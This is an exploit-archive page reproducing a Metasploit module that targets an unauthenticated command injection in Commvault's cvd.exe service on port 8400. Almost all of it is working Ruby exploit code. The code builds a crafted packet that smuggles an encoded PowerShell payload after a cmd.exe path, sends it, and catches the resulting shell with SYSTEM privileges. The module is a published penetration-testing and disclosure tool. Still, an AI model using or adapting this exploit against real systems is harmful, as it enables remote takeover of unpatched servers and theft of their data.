首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Commvault Communications Service (cvd) - Command Injection (Metasploit)
来源:metasploit.com 作者:b0yd 发布时间:2018-01-10  

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Commvault Communications Service (cvd) Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability
        discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
        and v10). The vulnerability exists in the cvd.exe service and allows an
        attacker to execute arbitrary commands in the context of the service. By
        default, the Commvault Communications service installs and runs as SYSTEM in
        Windows and does not require authentication. This vulnerability was discovered
        in the Windows version. The Linux version wasn't tested.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
        ],
      'References'     =>
        [
          ['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
            {
              'Arch' => [ARCH_X64, ARCH_X86]
            }
          ],
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 12 2017'))

      register_options([Opt::RPORT(8400)])

    end

  def exploit

    buf = build_exploit
    print_status("Connecting to Commvault Communications Service.")
    connect
    print_status("Executing payload")
    #Send the payload
    sock.put(buf)
    #Handle the shell
    handler
    disconnect

  end


  def build_exploit

    #Get encoded powershell of payload
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
    #Remove additional cmd.exe call
    psh = "powershell"
    idx = command.index(psh)
    command = command[(idx)..-1]

    #Build packet
    cmd_path = 'C:\Windows\System32\cmd.exe'
    msg_type = 9
    zero = 0
    payload = ""
    payload += make_nops(8)
    payload += [msg_type].pack('I>')
    payload += make_nops(328)
    payload += cmd_path
    payload += ";"
    payload += ' /c "'
    payload += command
    payload += '" && echo '
    payload += "\x00"
    payload += [zero].pack('I>')

    #Add length header and payload
    ret_data = [payload.length].pack('I>')
    ret_data += payload

    ret_data

  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Microsoft Windows - 'nt!NtQuer
·Synology Photostation 6.7.2-34
·Microsoft Windows - 'nt!NtQuer
·Microsoft Edge Chakra JIT - Es
·Microsoft Edge Chakra - 'asm.j
·Microsoft Edge Chakra JIT - Ba
·Microsoft Edge Chakra JIT - Op
·FiberHome LM53Q1 - Multiple Vu
·Oracle WebLogic < 10.3.6 - 'wl
·BarcodeWiz ActiveX Control < 6
·DiskBoss Enterprise 8.5.12 - D
·Sync Breeze Enterprise 10.1.16
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved